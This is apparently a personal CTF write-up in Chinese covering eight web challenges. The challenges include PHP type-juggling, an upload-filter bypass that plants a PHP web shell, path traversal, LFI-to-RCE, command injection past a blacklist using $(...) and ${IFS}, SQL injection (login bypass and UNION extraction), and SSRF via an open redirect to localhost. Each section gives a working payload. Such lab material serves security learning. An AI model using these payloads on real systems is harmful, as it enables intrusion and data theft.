1) phpisbest — 鬆散比較 + 陣列繞過

原始重點(節錄)

1
2
3
4
// 重點判斷條件
if (isset($A,$B) && $A != $B && strcmp($A,$B) == 0 && md5($A) == md5($B)) {
  echo $flag;
}

我用的 Payload

/index.php?A[]=1&B[]=2

原理簡述

  • strcmp(array, array) 參數型別錯誤 → 回傳 null,而 null == 0 成立,所以通過 == 0 檢查。
  • md5(array) 也會回傳 nullnull == null 成立。
  • 前置 A != B[1] != [2] 為真,所以能一路通關。

備註:不需要找 MD5 碰撞;這裡靠 型別錯誤→null + 鬆散比較 就足夠!!

alt text

2) uploader-waf — MIME + 副檔名大小寫繞過

原始重點(節錄)

1
2
3
4
if ($_FILES['file']['type'] === "image/png") {
  $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
  if ($ext !== "php") { /* 允許上傳 */ }
}

步驟(我實作)

  1. 用 Burp 攔截上傳,強制 Content-Type: image/png
  2. 檔名改為 shell.phP(大小寫不同 → $ext !== "php" 成立)。
  3. 上傳成功後,直接造訪 /upload/shell.phP 執行,如:<?php system('cat /flag'); ?>

alt text
原理簡述

  • 伺服器只比對 表單宣稱的 MIME副檔名字串,皆可由用戶端偽造。

容易踩雷

  • 是否能執行取決於 伺服器副檔名對應 設定:多數環境會將大小寫不同的 .phP 仍視為 PHP;若無法執行,再換策略(例如雙副檔名、路徑截斷等,視實際環境)。

3) Pathwalker WAF — 前綴白名單 + 路徑回跳

原始重點(節錄)

1
2
3
4
$pg = strtolower($_GET['page']);
if (preg_match('/^(apple|banana|cappo)/', $pg)) {
  echo file_get_contents("./page/".$pg.".php");
}

我用的 Payload

/index?page=cappo/../../flag

原理簡述

  • 只檢查開頭是否為 apple|banana|cappo,之後接 ../../ 可回到上層。
  • 組合後路徑為 ./page/cappo/../../flag.php → 正規化即 ./flag.php

alt text

4) lfi2rce — LFI 轉 RCE(include + 參數執行)

原始重點(節錄)

1
2
3
if (isset($_GET['page'])) {
  include($_GET['page']);
}

我用的作法(依原文)

  1. 使用 PHP_INCLUDE_TO_SHELL_CHAR_DICT 生成可被 include 解譯的 payload。
  2. ?page=<payload>&1=system() 的形式讓被引入的程式取用 $_GET['1']
  3. 測試:&1=ls${IFS}/ → 找到 flag 檔名;接著 &1=cat${IFS}/flag_23fb1b3 取得內容。

原理簡述

  • 透過 include($_GET['page']) 把我們控制的程式內容引入執行,再用 1=system('cat /flag_23fb1b3') 將指令函式帶入。
    alt text

5) Dig waf 2 — 黑名單繞過 + 指令替換

原始重點(節錄)

1
2
$blacklist = ['|','&',';','>','<','\n',' ','flag'];
// 若未命中黑名單就可執行: system("dig '".$_POST['name']."' ;");

步驟(我實作)

  1. 先列出根目錄(避免空白,用 ${IFS}):

    1'$(ls${IFS}/)'
    
會執行
  1. 確認旗標檔名後讀取(避免命中 flag,用萬用字元):

    1'$(cat${IFS}/f*ag*)'
    

原理簡述

  • 單引號內為 dig 的參數;$(...) 在外層仍會展開執行。
  • ${IFS} 代替空白;f*ag* 迴避黑名單中的 flag 關鍵字。

alt text

6) login — SQLite 登入注入

我用的 Payload

' OR 1=1)--

要一個一個把引號封閉,再把後面–註解掉

SELECT * FROM admin WHERE (username='') AND (password='')

注意 -- 後面要有空白(SQLite/SQL 標準註解寫法),具體欄位名依實作而定。

原理簡述

  • 以恆真條件短路驗證,後段查詢變成無條件為真。

7) sqli union — UNION 爆表結構再取 flag

原始重點(節錄)

1
2
$id = $_GET['id'] ?? 1;
$query = "SELECT * FROM posts WHERE id = $id"; // 未綁參

步驟(我實作)

  1. 對齊欄位數量後列出 flags 欄位:

    ?id=-1 UNION SELECT 1,2, GROUP_CONCAT(column_name)
    FROM information_schema.columns
    WHERE table_name='flags' --
    

alt text
2. 找到 flag_value 後取值:

?id=-1 UNION SELECT 1,2, GROUP_CONCAT(flag_value) FROM flags --

alt text
原理簡述

  • 透過 UNION 把另一個查詢的結果混入原查詢輸出。
  • information_schema 用來探表結構(實際資料庫以 MySQL 為例)。

容易踩雷

  • 欄位數需精準對齊;若資料庫非 MySQL,information_schema 寫法需調整。

8) ssrf2 — 以開放轉址繞主機名白名單

原始重點(節錄)

1
2
3
4
5
6
7
8
9
# 只檢查初始 URL 主機名是否以 httpbin.dev 開頭
if not urlparse(url).hostname.startswith("httpbin.dev"):
    return "badhacker"
return requests.get(url, verify=False).text  # 會跟隨 302

#這裡要繞過黑名單
if request.remote_addr != "127.0.0.1":
    abort(403)
return flag

我用的 Payload(httpbin 轉址)

https://httpbin.dev/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Finternal-only

原理簡述

  • 驗證只看第一跳主機名 → 允許 httpbin.dev
  • requests 會跟隨 302 到 http://127.0.0.1:5000/internal-only,命中內網端點並回傳內容。
  • /internal-only 又只允許 127.0.0.1,剛好 SSRF 符合條件,就會回傳flag了。